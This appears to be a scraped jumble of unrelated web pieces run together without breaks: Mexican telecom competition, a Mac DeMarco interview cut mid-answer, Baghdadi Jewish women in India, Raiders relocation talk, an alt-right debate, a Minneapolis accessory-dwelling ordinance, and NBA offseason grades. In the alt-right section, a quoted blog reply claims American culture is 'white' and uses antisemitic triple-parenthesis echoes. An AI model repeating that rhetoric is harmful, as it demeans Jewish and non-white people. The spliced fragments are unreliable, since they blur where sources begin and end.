The telecom titan controls roughly 80 percent of Mexico’s landline market and 70 percent of its mobile market. The Mexican government has been trying unsuccessfully for years to break up Slim’s empire. However, his mobile competitors aren’t waiting for that to happen. Instead, they are challenging the status quo that America Móvil is struggling to preserve by bringing innovative technology and business models to Mexico’s mobile market.
Mexico’s second largest mobile operator, Telefónica, is shaking up the market by offering users a more modern solution for purchasing and managing mobile services. As the fifth-largest mobile operator in the world, Telefónica has the financial assets and know-how to give America Móvil serious competition. The company introduced a new service, branded as Movistar On, in response to the rampant confusion and frustration among consumers that it discovered through intensive market research.
Mexico’s millennials did not grow up in a wired world with its physical limitations and bureaucratic practices.
Telefónica partnered with Silicon Valley-based ItsOn to build Movistar On around that firm’s cloud-client platform. “Cloud-client” is the architecture of choice among internet phenoms like Amazon and Uber. The cloud component enables the operator to quickly introduce new services, while the client piece gives users the self-service functionality that millennials crave. The combination enables Telefónica’s marketers to engage subscribers directly, presenting them with timely offers and closely tracking their choices.
While traditional mobile operators force users to purchase data by the megabyte or gigabyte, Movistar On gives users more comprehensible buying options, such as “1 day of YouTube,” “3 days of Netflix,” and “30 days of Spotify.”
Users can see exactly what they’ve used at any point in the billing cycle and make adjustments right from their phones. This appeals to millennials who prefer self-service over calling customer service and being put on hold, and who feel they have a right to know exactly what they are getting for their money. Such are the expectations of young people who have grown up with the internet and smart devices.
Mexico’s third-largest mobile carrier, AT&T Mexico, holds the remaining 10 percent of the market. The company is leveraging its operations in the U.S., Canada and Mexico to provide seamless service throughout the North American Hispanic community. With smartphones, subscribers can keep in touch with friends and family just by participating in the same social networks, and by using over-the-top services that make voice and even video calls more affordable.
The shift to smartphones in Mexico has been nothing short of spectacular. Smartphone penetration soared from 17.9 percent in the second quarter of 2014 to 59.8 percent in the third quarter of 2015. That means the number of smartphone users tripled in little over a year. Why are so many Mexican users making a relatively big investment in their phones? Because a smartphone gives them all of the capabilities of telephones, TVs and personal computers in a single device that is loaded with intelligence and goes wherever they go.
Despite America Móvil’s dominance, which is very real, Mexico’s mobile users have compelling choices, and the way that operators are competing for their business is a case study for mobile carriers everywhere.
Mexico’s millennials did not grow up in a wired world with its physical limitations and bureaucratic practices. They are flocking to smart devices that add new features almost on a weekly basis. They demand mobile operators find new ways to engage and empower them — and Mexico’s mobile operators are advancing to make it happen.At one of the first shows on Mac DeMarco’s current tour, a couch is set up onstage at Webster Hall to accommodate his friends (including a man in a bondage mask), and DeMarco pours out several glasses of champagne. “The person who catches the cork gets anything they want at the merch table,” the singer-songwriter says. Throughout the night, multiple members of the audience crowd-surf until they reach the stage, some lingering to stay for a song, or give DeMarco’s girlfriend a quick kiss.
Before the end of the show, DeMarco turns solemn and tells the crowd, “We just started touring, but the person who made me want to do this in the first place is Prince.” When the 26-year-old finally leaps off the stage himself, someone tosses him a bright orange life jacket. He reaches out and quickly throws it on, as if he might drown without it, and while his band plays the night’s final song, floats comfortably above a sea of people as he finishes a beer.
A week earlier, DeMarco talks with me over the phone from his home in Far Rockaway, his voice calm and reassuring. It’s clear that DeMarco doesn’t take himself too seriously, but cares deeply about the work he puts out. Label him a “slacker” if you’d like, but that would do a disservice to the albums of tender, off-kilter tunes that he’s assembled, including 2012’s 2 and 2014’s Salad Days. In 2015, DeMarco released a mini-LP, Another One, and since then, has teamed up with his keyboardist Jon Lent to cover James Taylor’s “I Was a Fool to Care,” and Prince’s “It’s Gonna Be Lonely.”
During his downtime, DeMarco spoke with SPIN about those covers, what he’s currently working on, and what it’s been like having fans over his house for coffee.
What made you want to cover James Taylor’s “I Was a Fool to Care”?
I never really got into James Taylor until very recently, so I think a lot of people are kinda like, “What’s wrong with you?” But my keyboard player that joined the band last summer, Jon, he’s always been a James Taylor guy. I never really knew about it. I think I was going through a Paul Simon thing, and somehow from that I went to James. But I was dabbling with “Sweet Baby James,” “Fire and Rain,” that kinda stuff. Then Jon was like, “No, no, no, no, no, my friend.” He showed me Gorilla, which is an album from 1975, and that’s where that song is from. But Jon was in town and we decided, “Might as well cover a little James, we have nothing better to do.”
You’ve also covered Prince’s “It’s Gonna Be Lonely,” and in both videos there’s that same man in the bondage mask. Is there a story behind the mask?
That’s just my friend. He says that he likes it, too, which is interesting, because I feel really weird when I put that s**t on. He says, “I like it, it’s really comfortable.” So it may be opening doors |
schools and organizations. Married first to a Bengali Hindu, then to a well-known Muslim personality, Pearl was a part of every English theatre presentation. She raised the money for and established a successful rehabilitation center for drug addicts.
There were other ways to serve the community. Sameha (1889-1982) was born in Baghdad. Upon the promise of a good match, this illiterate woman was sent to Bombay as the wife in an arranged marriage. Sameha's husband turned out to be a gambler and a drunkard who abandoned her when she gave birth to their daughter. Sameha refused charity. She set out on her own, establishing herself as a Baghdadi pastry chef, specializing in the baking in a clay oven of machboz, a light pastry stuffed with cheese, dates and walnuts, and the making of feta cheese. Carrying the goods in a basket on her head Sameha sold to most of the Baghdad households in Bombay from the 1950s to the 1970s. Eventually she became a matchmaker and moneylender. She helped her daughter emigrate to London where she later joined her, continuing to bake machboz for Baghdadi families in London.
Only brief mention can be made of Calcutta Baghdadi women who achieved recognition after leaving India. Iris Morris Ferris (1910-1970) rose to the position of General Secretary in the London headquarters of the Girl Guides movement. Rina Einy (b. 1965) represented England in tennis in the 1984 Olympics. Sally Meyer Lewis was a professor of biology in the United States. Jael Silliman and Maisie Meyer are academics who write about Baghdadi in India and Shanghai respectively. As time goes by, descendants of the Baghdadi Jews of India will no doubt make their mark in a variety of fields.
Originally published here: http://jwa.org/encyclopedia/article/baghdadi-jewish-women-in-india Keywords: Global Judaism, Global Jews, women, Baghdadi, Bagdadi, India, Indian Jews, historyIf the San Diego Chargers elect to move to Los Angeles, a relocation to San Diego would be a "very viable" option for the Oakland Raiders, according to ESPN's Adam Schefter.
But that seems like a counterintuitive move after years of attempts to keep the Chargers in San Diego look to be on the verge of officially failing. So why would the city make sense for the Raiders if it doesn't for the Chargers?
The key is the different expectations of Chargers owner Dean Spanos and Raiders owner Mark Davis, who have encountered entirely different hurdles in their attempts to find viable solutions in the San Diego and Oakland markets.
Why would the Chargers leave San Diego?
A move to Los Angeles almost seems inevitable for the Chargers after the team was given the option to join the Los Angeles Rams in Inglewood. While finding a venue that could host the Chargers in 2016 could be a hurdle the team is still trying to jump, Schefter reports that the team is actively negotiating a partnership with the Rams and the Chargers have already filed trademarks with a Los Angeles title.
None of that means it's a done deal, but the Chargers haven't been able to find an option that makes sense in San Diego and an extra $100 million to make it happen is ultimately just a drop in the well that doesn't come close to bridging the gap between the city and the Chargers.
The incentives of a move to Los Angeles are obvious for the Chargers. A state-of-the-art stadium in Inglewood will blow Qualcomm Stadium out of the water and the market size of Los Angeles will instantly add a tremendous amount of value to the team. When the Rams moved from St. Louis, Forbes executive editor Michael Ozanian told the Washington Post that the team's value doubled, launching it from estimations as the No. 28 most-valuable team in the NFL to No. 3.
That possibility of a huge jump in value is one that Spanos has been able to use as leverage to ask a lot of San Diego and the city hasn't been able to meet his requests. But the wants of Davis could be much more reasonable.
San Diego is a market the NFL would prefer over Oakland
Oakland isn't a particularly big city, but is a viable NFL market as part of the Bay Area, which includes fans in San Francisco, San Jose and other neighboring cities. But if the Raiders leave the area, the NFL still has its hands in the pot with the San Francisco 49ers, which would be an even more valuable team without the competition of another NFL team nearby.
But if the Chargers leave San Diego, it would instantly become one of the biggest markets in the nation without an NFL team. That could make the NFL very friendly to the idea of a move south for the Raiders.
According to the Los Angeles Daily News, the NFL may even help facilitate a move to San Diego for the Raiders.
It's a market the NFL absolutely wants to be in, and one the league is comfortable the Raiders would dominate. In fact, don't be surprised if the NFL either waived any relocation fee to facilitate a possible Raiders move to San Diego or set one at a price extremely affordable. Also, the additional $100 million the league promised to the Raiders to go toward a deal in Oakland is expected to be available to them in a move to San Diego.
While San Antonio has also been discussed as a possible landing spot for the Raiders if Oakland doesn't work, the NFL would likely be less willing to help or waive fees to facilitate that move, especially if it meant cutting into the markets of the Dallas Cowboys and Houston Texans.
Of course, cutting into the new markets of the Rams and Chargers is also one of the negatives of a move to San Diego for the Raiders, but three teams in Southern California might make more sense than three in Texas or two in the Bay Area if it means San Diego isn't ignored.
Davis has more realistic stadium goals
With Los Angeles as leverage, Spanos was able to ask for one of the world's best sports stadiums and if San Diego wasn't able to deliver it, LA would be. But the requests of Davis could be much easier for San Diego to reach, especially if the NFL is willing to chip in $100 million toward the cause.
Via the LA Daily News:
Davis isn't looking to build an extravagant $1.7 billion stadium. He wants a modest, contemporary venue that includes all the bells and whistles and revenue streams of new stadiums around the league. But at a much smaller price tag.
As Davis explained at the owners meetings in Houston, an extra $100 million toward a solution in Oakland doesn't fix the issue of land that has hampered a resolution with the city. Davis has asked for an additional 120 acres to work with, but the city has balked at his requests.
Davis said issue with Oakland talks starts with land. He also said extra $100 million "won't bridge the gap" in Oakland. — Scott Bair (@BairCSN) January 13, 2016
Those are problems he likely wouldn't face in San Diego, although just the fact that potentially viable markets like San Antonio and San Diego exist for the Raiders could make Oakland more ready and willing to concede to Davis.
Still, in San Diego a proposal for a $1.1 billion stadium in Mission Valley was spurned by Spanos and it could be one that Davis is ready to work with and better than anything Oakland is able to offer if the Chargers move to Los Angeles.
* * *
SB Nation presents: How to screw a city out of its beloved sports teamIn some ways, the civil rights era of the 1960s ended in tragedy. Important strides were made toward empowering minorities with equal political rights and moving the American culture toward greater alignment with its founding values. But there was a dark side. Communist agitators infiltrated the movement and perverted it from one pursuing equality to one seeking to undermine American institutions. Today's Democratic Party would be unrecognizable to the likes of JFK or LBJ.
In a similar way, the alt-right has begun the process of corrupting and fundamentally transforming the Republican Party. They have leveraged both the aggression of the racialized left and a widespread dissatisfaction with the political establishment to embed themselves parasitically within the party. It is as Michael van der Galien describes:
... These people have nothing to do with conservatism. More precisely, they represent the complete opposite: conservatism is focused on individuals; they are focused on groups or, as they call them, tribes. They're collectivists, and racist collectivists at that.
Similarly, the communist agitators of the 1960s had nothing to do with liberalism, as anyone familiar with the classical variety knows.
In summary, we're dealing with an amorphous and decentralized movement of white racialists who have taken on a benign-sounding new name in an effort to market themselves as somehow respectable. They have infiltrated the Republican Party under the cover of anti-incumbency and conservative frustration with the status quo. They cloak their overtly racist ideas in high-sounding language referencing "the American way" or "American culture" -- which really just means the white race. Whether Donald Trump has conscientiously appealed to them or not, his candidacy is viewed as a beacon signaling that they may creep from the shadows and stake a claim in the mainstream.
This is a vile movement that must be recognized, removed from the Republican Party through some form of biopsy, and cast back into the dustbin of history from which it escaped. The actual American way requires it.
3 ways to understand cuckservatives:
1) We're not racists.
2) Please don't call me racist.
3) Take my money, take my country but please stop calling me a racist!
Walter Hudson explains how you can understand the very-bad, very-evil, and let us not forget, RACIST Alt-Right on PJ Media:It's not a terrible comparison, but he makes two very serious mistakes. First, the Alt-Right is not parasitical upon the Republican Party. We are not part of the Republican Party and we have not infiltrated it.We are, rather, replacing the Republican Party in much the same way the Republican Party replaced the Whigs. We have nothing to do with what they call conservatism. We are not conservatives. We do not value much of what they value and we do not wish to conserve whatever it is that they think they are conserving.Unlike Mr. Hudson, the Alt-Right knows its American history. The American waywhite. The American culturewhite. I am only part-American, and I can conclusively say that American (white) culture is different than American Indian (red) culture and Mexican (brown) culture, the other two cultures to which I have, in part, inherited.Second, the Alt-Right is nationalist, it is not merely a white identity movement. We support free association for all nationalities and we oppose the propositionalists of every stripe, whether they are (((melting potists))), (((huddled massers))), born American elsewhereans, or Ein Welt, Eine Rasse, Eine Regierung globalists.In any event, it is encouraging that PJ Media is so concerned about the Alt-Right. It means that they know people are fleeing cuckservatism and becoming more and more conscious of the signal importance of identity in the current year.This comment was amusing:
Labels: #AltRight, mediaHome > Community Planning & Economic Development > CPED Projects
Accessory Dwelling Units Text Amendment
Background
The Minneapolis City Council passed a zoning code text amendment on Friday, December 5, 2014, which allows accessory dwelling units citywide on lots with single or two-family homes.
An accessory dwelling unit (ADU) – also known as a “granny flat,” “mother-in-law apartment” or “carriage house” – is a self-contained living unit that can be located within the walls of an existing or newly constructed home, or that can be an addition to an existing home. It can also be a freestanding structure on the same lot as the main house.
ADUs have received significant attention in recent years as a way to provide more flexible housing options in built-out urban neighborhoods. Over the past few decades, municipalities across the country have adopted standards to allow or encourage the construction of ADUs. Prior to the passage of this ordinance, ADUs were only allowed in Minneapolis in a small portion of the Phillips community.
On Friday, June 27, 2014, Council Member Lisa Bender of Ward 10 introduced an ordinance amendment to allow ADUs citywide in Minneapolis to respond to an increasing number of inquiries from residents, neighborhood organizations, community leaders, and advocates in the active living, senior housing, transit, architecture, and affordable housing communities about the current zoning code restrictions on ADUs.
“Allowing accessory dwelling units in Minneapolis is an important way to provide more housing options in our neighborhoods,” said Council Member Lisa Bender. “We have received so many supportive comments from people who want ADUs to be allowed for extended families, to help seniors stay in their homes, and to provide a way to add more housing units gradually in neighborhoods over time.”
City staff solicited feedback on the allowance and regulation of ADUs from the community and various stakeholder groups by holding five open houses and administering an online survey. Staff incorporated best practices research and public input in the draft regulations to ensure that ADUs will be constructed in a way that would fit into the existing character of the city’s neighborhoods.
Adopted Ordinance
Past Meetings AgendasWith most of the NBA summer already in the books, SI.com is grading each team’s off-season performance and examining their best and worst moves. Today, we take a close look at the Southwest Division, which will take on a different look with Tim Duncan retiring, Anthony Davis returning to full health and Dwight Howard moving on from Houston to Atlanta.
Previous division grades: Central, Atlantic, Southeast and Northwest.
Grizzlies
Best move: Small-market, big fishing. Whether or not you think Mike Conley is making too much money, the Grizzlies’ off-season began and ended with keeping the top point guard on the market in place. Whether or not you think Chandler Parsons is making too much money, finally addressing the team’s eternal need for a small forward—with Conley doing the recruiting, no less—is a victory. There’s no telling how unstable things could have gotten in Memphis had Conley bolted. Sometimes you have to spend to stay relevant, and the Grizzlies opening up the checkbook should do exactly that. — Jeremy Woo
Worst move: Putting off the rebuild. Staying relevant and making the playoffs every year is a noble goal, especially for a small market team like the Grizz. But Conley is making huge money at a loaded position, Parsons is injury prone, and Marc Gasol is also making beaucoup bucks on the wrong side of 30 while dealing with his own injury issues. I never want to see the Grit N' Grind Grizzlies end (and neither does this kid from the greatest NBA gif ever), but Memphis will eventually need to look hard at rebuilding a team that still struggles to play modern NBA basketball. Making big signings could put off the rebuild for longer than what’s ideal. — Rohan Nadkarni
The Skinny: Memphis’s summer didn’t receive enough positive attention for two major reasons: 1) Mike Conley never seemed all that serious about leaving so the basketball community at large never really dwelled on just how screwed the Grizzlies would have been if their point guard bounced, and 2) Conley’s quiet return, even at a max contract number, was immediately overshadowed by free agents like Kevin Durant and Al Horford, whose decisions to change teams rather than stay put shook up their respective conferences.
Make no mistake, the Grizzlies would have been in super duper trouble had Conley not agreed to stay on a five-year, $140+ million contract. Memphis would have been stuck turning over the point guard keys to rookie Wade Baldwin or chasing a veteran downgrade in free agency. Their experienced frontline pairing of Marc Gasol and Zach Randolph would have needed to build rapport with a new floor general after years of getting fed by the affable Conley. And Chandler Parsons almost certainly wouldn’t have chosen to sign in Memphis given the organization’s dim outlook sans Conley. In short, Memphis would have had a huge hole at the one, another huge hole at the three, and a four/five pairing whose effectiveness easily could have taken a major step back. Oof, oof, and off.
Instead, the Grizzlies did what the Thunder and Hawks could not do: keep their guy by throwing bags of long-term money at him. With that mission accomplished, they then turned their attention to recruiting Parsons, who when healthy is a perfect positional fit given his shooting, secondary playmaking skills, and two-way game. After years of striking out in pursuit of wing talent and floor-stretching options, Memphis took a calculated risk by paying Parsons $94 million over four years after he missed a quarter of last season with a knee injury. While Parsons’s health might have scared off many teams, Memphis needs to make the most out of the Randolph/Gasol golden years and it has very, very little else on its wings at this point. If Parsons stays healthy, the Grizzlies should have one of the best starting lineups in the West and, given Memphis’s roster life cycle, that’s enough at this point to justify the investment.
The Grizzlies’ other moves were, obviously, much less expensive: they signed forward James Ennis and guard Andrew Harrison, while also adding Baldwin and Deyonta Davis through the draft. First-time coach David Fizdale will welcome the newcomers as they bring some much-needed youth to the organization’s talent pipeline.
By moving on from Dave Joerger in favor of Fizdale, a former Heat assistant, the Grizzlies set themselves up for a transition season. By keeping Conley, however, the franchise avoided a radical transformation and handed over a solid, proven core to its new coach.
Much like Portland, who spent big to keep its up-and-coming roster intact, Memphis is well-positioned to capitalize if second-tier teams like San Antonio, Oklahoma City and the Clippers regress in the standings after taking some offseason hits. The Grizzlies’ relatively quiet summer turned out to be a pretty good one. — Ben Golliver
Grade: B+
Stephen Dunn/Getty Images
Mavericks
Best move: Adopt-a-Warrior. Andrew Bogut. Harrison Barnes. Seth Curry. Not quite the 73–win Warriors, but the Mavericks stand to stay competitive in the West, even if they aren’t getting much younger. At some point you gotta respect Mark Cuban’s commitment to staying afloat with Dirk, who’s now 38. Bogut looked revitalized in the Olympics, and Barnes is almost surely closer to his early-2015 self than what we saw in the Finals. It’s not a totally sunny outlook in Dallas, but it’s not a dumpster fire. — J.W.
Worst move: Not holding a top free agent hostage. You'd think the Mavs would have learned from last year and invaded the house of a top free agent and squatted there until they signed on the dotted line. Instead, they picked up the scraps the Warriors brushed off the table to make room for Kevin Durant. In all seriousness, Dallas didn't really have a bad move this off-season. Is Barnes really going to be a max player? What does max player even mean anymore? Barnes is a nice injection of youth to an old roster, and Dirk’s golden parachute was a nice touch from Cuban. — R.N.
The Skinny: Don’t let the Mavericks’ most polarizing and attention-grabbing off-season signing overshadow their many other under-discussed quality moves. Yes, that’s much easier said than done.
Giving small forward Harrison Barnes $94+ million over four years is the type of deal that is guaranteed to melt the Internet. Barnes never posted an above-average Player Efficiency Rating during his four years in Golden State, he famously faltered on numerous occasions during the 2015 and 2016 postseason, and his personality screams “complementary guy” rather than “max player.”
Nevertheless, his decision not to sign an extension last fall paid off handsomely this summer once Mavericks owner Mark Cuban was desperate to find a replacement for Chandler Parsons at the three. If both players are healthy, swapping Parsons for Barnes is a clear downgrade, leaving Dallas with a shooting guard in Wesley Matthews and a small forward in Barnes who are both limited playmakers and need to be set up to contribute offensively.
Look past Barnes’s mega-offer, and the very real possibility that he fails to live up to his new contract number, and you will find a number of savvy moves. For starters, Dallas was able to bring back Deron Williams on a one-year, $9 million deal—a low-risk, budget-friendly contract that looks even better given that he just posted 14/6 in a contract year. Yes, Williams missed nearly 20 games last year, but he fit in well enough to help get Dallas into the postseason.
Next, Dallas was able to take care of an important piece of business by re-upping Dirk Nowitzki on a two-year, $50 million contract. While Nowitzki has slipped noticeably from his prime years, he’s still providing reliable, efficient production as a lead offensive option while commanding plenty of extra defensive attention. His new contact represents payback for his previous financial sacrifices and it includes an option for next season should Dallas be in position to change course and add a major talent in free agency.
From there, Dallas took on center Andrew Bogut from the Warriors in a salary dump. While Bogut’s health is seemingly at the point where he’s day-to-day for 365 days a year, his rim-protection and passing ability make him a strong fit alongside Nowitzki when he’s healthy. Dallas received the Australian center with just one year remaining on a deal that will pay him $11 million, which seriously reduced the risk involved in taking him on. With Zaza Pachulia heading to Golden State on a big-time discount, Dallas did well to fill its hole in the middle without committing long-term cash to one of the many free agent centers who signed lucrative four-year deals this summer.
Further down the roster, the hopeful and optimistic among us will be glad to see Dallas giving Seth Curry, younger brother of Stephen, a lifeline out of Sacramento. The Mavericks added the scoring-minded guard on a two-year, $6 million contract, and while he’s already 25, there’s still a strong sense that his best NBA work is ahead of him given how little opportunity he’s received up to this point.
The only non-Barnes move that really raises an eyebrow is Dallas’s re-signing of Dwight Powell to a four-year, $37 million deal. While Powell’s production to date has been modest, the Mavericks opted to lock up the restricted free agent, betting that the 25-year-old energy big man will be able to scale his strong per-minute production (15/10 per 36 minutes) as his role increases. If Powell settles into life as a third or fourth big, his new contract terms could wind up looking quite team-friendly. If not, the potential damage is manageable, as the Mavericks will almost certainly have bigger problems to worry about as Nowitzki nears the end.
With the Barnes move earning top billing everywhere, Dallas doesn’t really have the feel of an off-season winner. Yet a move-by-move assessment reveals that Cuban and company accomplished numerous goals without being wasteful. The Mavericks are absolutely in “tread water” mode this year, as they have been virtually every season since their 2011 title run, but they again seemed to do just enough to avoid a long-anticipated implosion. — B.G.
Grade: C+
Layne Murdoch Jr./Getty Images
Pelicans
Best move: Uhh… I guess the default answer is drafting Buddy Hield, which beats out signing Solomon Hill and E’Twaun Moore and Terrence Jones…catch my drift? The biggest addition the Pelicans will make is getting Anthony Davis back healthy. Hield will make sense on this team in the future, but right now there are too many guards and a not a lot of frontcourt talent beyond the Brow. It has to get worse before it can get better, right? — J.W.
Worst move: Keeping the backcourt together. The Pelicans have quite frankly been wasting Davis's time so far, and sooner rather than later need to change up this roster dramatically. The Tyreke Evans-Jrue Holliday combo has mostly been a bust, and New Orleans needs to find a way to grow. Perhaps this wasn't the off-season to do so because Evans and Holliday are hard to trade. At least the team didn’t hand out big money just for the sake of doing so. But the Pelicans have reached a fairly low ceiling with their current group, and Davis is in dire need of a roster actually built around his talents. — R.N.
The Skinny: Considering the pressure that management and the coaching staff are surely feeling after an unexpectedly depressing 2015-16 season, New Orleans deserves some love for avoiding the big mistakes this summer.
When the seats get hot, or even just a little bit warm, it can be hard to let big-minute contributors walk out the door for nothing. But that’s what happened with both Eric Gordon and Ryan Anderson, who were lured to Houston with monster four-year offers. The Pelicans reached the correct conclusion in both cases: Gordon and Anderson weren’t worth overpaying given their health struggles and limited defensive abilities. Both players were letdowns during their tenures in New Orleans, which probably helped GM Dell Demps decide to move on rather than agree to fork over significant raises. Once burned, twice shy, after all.
In Gordon’s case, the calculation was pretty simple: Would you rather pay Gordon $53 million over four years or Buddy Hield, his rookie replacement, less than a quarter of that price? Even if Hield has some bust potential and looks like he will struggle in his first year, that’s a no-brainer.
As for Anderson, who received $80 million over four years, the Pelicans were able to add Solomon Hill for a little more than half of that price ($48 million over four years). Given that Hill is three years younger and boasts better defensive impact numbers, New Orleans again seems to have made a prudent assessment.
The problem, however, is that New Orleans’s “Moneyball” off-season didn’t result in the meaningful influx of talent that the franchise so desperately needs. For years now, franchise forward Anthony Davis hasn’t had enough help and that doesn’t appear to have changed heading into 2016–17. Picking up E’Twaun Moore and Langston Galloway should help coach Alvin Gentry better manage point guard Jrue Holiday’s recurring injury issues and hit-or-miss availability, but those moves don’t really do much to improve the Pelicans’ ceiling.
Ditto for New Orleans’s budget-friendly pick-ups like Terrence Jones (a Rockets cast-off), Alonzo Gee (the journeyman of all journeymen) and Tim Frazier (a well-liked former back-up to Damian Lillard in Portland). Remarkably, none of the new Pelicans mentioned—Hill, Moore, Galloway, Jones, Gee and Frazier—posted a Player Efficiency Rating above 14 last season. They’re all willing to sign in New Orleans, as opposed to bigger markets or better teams, on affordable deals for a reason.
The Pelicans’ summer can be summed up like this: they didn’t get much better, but at least they decided not to stick with a costly losing formula that could have crippled their long-term outlook. Their sober approach should prove helpful in 2017, when the Pelicans will face a defining summer with both Holiday and Tyreke Evans hitting free agency. Paying and paying and paying to keep this off-key band together would have been a fantastically dumb way to waste Davis’s rookie extension. Thankfully, that’s off the table now. The next plan, however, has yet to materialize. — B.G.
Grade: C
Garrett Ellwood/Getty Images
Rockets
Best move: Respect the shooters. Sure, Eric Gordon and Ryan Anderson cost a boatload, but at least they should create more room for James Harden to dribble around and get fouled and stuff. This is still a bit of a clunky roster, and it’s not clear if the Rockets are ready to run in D’Antoni fashion, but at least there will be space, if not pace. Houston’s attack will ideally be more diversified, and Dwight Howard won’t be there soaking up post touches, but the key here will be establishing scoring flow and meshing quickly enough to hang in the standings. At least Gordon and Anderson are a step in a clear direction. — J.W.
Worst move: Mostly giving up on defense. Possession stats have been kinder to D'Antoni's Phoenix defenses than they were viewed at the time, but it's hard to see how Houston will stop teams this season. Harden is still a sieve on that end, playing Ryan Anderson big minutes won’t help, and the departure of Dwight Howard will likely have an impact. Woo is bigger on the Gordon/Anderson signings than I am—can Gordon share the court with Harden? Can Anderson not miss 20 games? The Rockets seem more committed now than ever to out-scoring opponents, and they’ll still probably finish behind the Warriors, Spurs and Clippers in offense. — R.N.
The Skinny: This summer saw some good, some bad, and some ugly. Let’s take each in turn.
The good: Houston used its excess cap space to sign James Harden to a renegotiated contract extension that keeps him in town through at least July 2019. For a franchise set adrift by a disappointing 2015–16 season, an abrupt coaching change, and the split between Harden and Dwight Howard, the certainty that comes with keeping Harden out of free agency was easily worth the extra money.
Also positive: Hiring Mike D’Antoni, an experienced coach whose offensive style of play should suit Harden’s game and make the superstar guard’s life a little bit easier. One last positive: Snagging oft-injured center Nene off the “old and slow” scrap heap to add some badly needed interior depth.
The bad wasn’t surprising in the slightest. After three mixed seasons, in which he helped Houston make a conference finals but eventually grew tired of a limited offensive role, Howard opted to sign with the Hawks as a free agent. While Clint Capela, 22, appears ready to handle a significantly larger role, Houston had much higher hopes for the Howard era after expending so much energy to recruit him in the first place. The Rockets did advanced to the 2015 conference finals, but all those posters and billboards featuring Howard alongside Yao Ming and Hakeem Olajuwon seem awfully silly now.
The ugly could be found in how Houston reallocated its resources once Howard was no longer in the picture. Armed with plenty of spending power and holes up and down the roster, GM Daryl Morey targeted Ryan Anderson and Eric Gordon, a pair of one-way players whose extensive injury histories were a major factor in New Orleans’s underwhelming performances in recent years. But Houston didn’t just sign Anderson and Gordon, they broke the bank to the tune of $132 million combined over the next four seasons. Aside from the fact that Anderson hasn’t played in 70+ games since 2013 and Gordon hasn’t played in 70+ games since he was a rookie in 2009, the two players do real damage to their team’s defensive performance. Last year, Gordon ranked 41st among shooting guards in Defensive Real Plus-Minus and Anderson placed an eye-popping 87th among power forwards.
While D’Antoni is notoriously lenient when it comes to his team’s approach to defense and the pair does bring some valuable floor-spacing to the table around Harden, Houston lacks the depth and the defensive talent to compensate for their new additions’ glaring weaknesses. The signings don’t make Houston particularly fearsome in the short-term, and the moves could prove disastrous if serious health issues arise as their four-year contracts unfold.
Houston’s coaching change and major additions raised its ceiling from an entertainment value perspective. But if the Rockets want to win a series in 2016, they will need to pray for absolutely perfect health, immediate and excellent chemistry on offense, and some meaningful contributions on the defensive end—which is asking a lot. There’s a difference between potent and scary, and the new-look Rockets seem to fit firmly in the former category. Without the Harden extension, this would have bordered on a total failure. — B.G.
Grade: D+
Ronald Cortes/Getty Images
Spurs
Best move: Cashing the international chips. Tim Duncan is gone, and Pau Gasol is a nice temporary fix, but the Spurs’ lower-profile decisions hold future upside. With its roster ripe for added turnover, San Antonio brought in two young draft stashes and role guys on the cheap (Latvian shooter Davis Bertans and French swingman Livio Jean-Charles). They also added undrafted free agent Patricio Garino, who starred at George Washington and started for Argentina in the Olympics. The Spurs’ willingness to try these guys out now suggests they have an eye on the future as well as the Warriors-clouded present. You may not know much about these guys now, but their international scouting success suggests there’s a payoff coming. — J.W.
Worst move: Not signing Kevin Durant. Seriously, there was not much San Antonio could have done to tip the scales this off-season once Durant left Oklahoma City for the Warriors. At least the Spurs probably won’t lose to the Thunder in the playoffs this year? The departure of Duncan will hurt from a culture standpoint, but LaMarcus Aldridge is obviously the much better player at this stage. Gasol is certainly a nice piece to have in the frontcourt, though his defense will need to rise to Popovich’s demands. This feels like a wait-it-out year for the Spurs, who will lurk in the 50-win shadows until they find a weakness in the Golden State juggernaut. — R.N.
The Skinny: The Spurs’ brass sent Tim Duncan off into retirement with a dignified, understated series of tributes that saluted the future Hall of Famer’s magnificent impact without going overboard in a way that would have felt inauthentic. Gregg Popovich and R.C. Buford had plenty of time to prepare for the inevitable end to one of the greatest careers in league history, and their heartfelt tributes hit all the right notes when the sad day finally came.
San Antonio selected a first-round pick, imported multiple international players, signed two well-known free agents and re-signed a franchise icon, and yet all of those moves combined pale in comparison to the emotional and psychological impact of Duncan’s departure. Popovich will move forward with a reshaped roster that has A-list talent and title experience, but it will take months at minimum for it to truly sink in that No. 21 is done and not coming back. The 2016-17 Spurs, even with Kawhi Leonard and LaMarcus Aldridge, are doomed to play in Duncan’s shadow.
All told, the Spurs will lose four key members of their frontcourt rotation: Duncan, David West (signed with Golden State), Boris Diaw (traded to Utah) and Boban Marjanovic (signed with Detroit). Remarkably, that leaves Aldridge, who signed with San Antonio last summer, as the only power forward or center returning this season. This is a full-scale overhaul, with Aldridge and Leonard being asked to carry the Spurs through this transition period.
Stepping into that playing time void is Pau Gasol, who arrives on a two-year, $31 million contract after spending two years in Chicago. Signing Gasol was better than not signing Gasol, as his scoring ability and passing skills remain sharp at age 36, but he makes for a somewhat awkward pairing with Aldridge, especially on the defensive end. San Antonio played at a bottom-five pace last season, making a point to milk possessions with its passing game, and that approach should continue with the aging Gasol in line for a large role.
Popovich’s other veteran frontcourt newcomers—power forward David Lee and center Dewayne Dedmon—came on the cheap. San Antonio will look to maximize Lee’s abilities as a pick-and-roll scorer and volume rebounder while limiting the impact of his matador tendencies on the other end. Dedmon, 27, was a bit player in Orlando for the last two-plus seasons who should bring some length and interior defense to a frontcourt rotation that can certainly use both. Both players are sensible additions given their modest price points and San Antonio’s lack of returning bodies.
Perhaps the most surprising move of San Antonio’s summer came when 39-year-old franchise icon Manu Ginobili leveraged interest from Philadelphia into a one-year, $14 million golden parachute. Although Ginobili will be hard-pressed to play enough minutes next season to deliver on those terms, San Antonio surely didn’t blink at the price given Ginobili’s previous contract sacrifices and the short-term nature of the deal. This is a franchise that has long taken care of its guys: Ginobili’s contract continues that tradition without compromising San Antonio’s flexibility next summer, when he will likely retire.
San Antonio’s latest round of international imports includes 23-year-old Latvian forward Davis Bertans (a 2011 second-round pick who was playing professionally in Spain) and 22-year-old forward Livio Jean-Charles (a 2013 first-round pick who was playing professionally in France). Joining those two in scrapping for minutes is 19-year-old first-round pick Dejounte Murray, a scoring-minded guard who spent one season at Washington.
Long story short: the Spurs, sans Duncan, are still in position to beat a vast majority of their competition thanks to their star duo, their collective basketball intelligence, and the continuity that exists between Leonard, Tony Parker, Manu Ginobili and Danny Green. They’re more intriguing than the average team, too, given the sheer quantity of new blood.
